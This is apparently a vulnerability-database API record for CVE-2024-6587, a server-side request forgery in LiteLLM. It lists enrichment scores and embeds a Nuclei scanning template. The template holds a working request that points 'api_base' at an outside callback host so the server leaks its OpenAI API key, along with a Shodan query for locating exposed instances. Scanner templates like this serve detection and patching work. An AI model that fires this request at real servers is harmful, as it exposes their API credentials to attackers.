{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-6587/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-6587/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-6587/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-6587/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-6587/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-6587"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-6587"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.35316,
      "kev": false,
      "percentile": 0.98393
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2024/CVE-2024-6587.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2024-6587\n\ninfo:\n  name: LiteLLM - Server-Side Request Forgery\n  author: pdresearch,iamnoooob,rootxharsh,lambdasawa\n  severity: high\n  description: |\n    LiteLLM vulnerable to Server-Side Request Forgery (SSRF) vulnerability Exposes OpenAI API Keys.\n  impact: |\n    Attackers can exploit SSRF to send requests to arbitrary URLs with OpenAI API keys in the Authorization header, potentially exposing API credentials.\n  remediation: |\n    Update LiteLLM to the latest version that addresses the SSRF vulnerability in the chat/completions endpoint.\n  reference:\n    - https://huntr.com/bounties/4001e1a2-7b7a-4776-a3ae-e6692ec3d997\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-6587\n  classification:\n    epss-score: 0.35316\n    epss-percentile: 0.98393\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: http.favicon.hash:439373620\n  tags: cve,cve2024,ssrf,openai,litellm,vkev,vuln,ai\n\nhttp:\n  - raw:\n      - |\n        POST /chat/completions HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\n          \"model\": \"command-nightly\",\n          \"messages\": [\n            {\n              \"content\": \"Hello, how are you?\",\n              \"role\": \"user\"\n            }\n          ],\n          \"api_base\": \"https://{{interactsh-url}}\"\n        }\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n      - type: word\n        part: interactsh_request\n        words:\n          - \"Bearer\"\n# digest: 490a00463044022011a98792ed089c8e3eddc3afb09157b38972b5459afafddabd9c056836f5a120022066c28dfda1068ce4d89ad65b45ac6751a5026e452fab53f3257c5754e4613bdf:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2024-6587"
}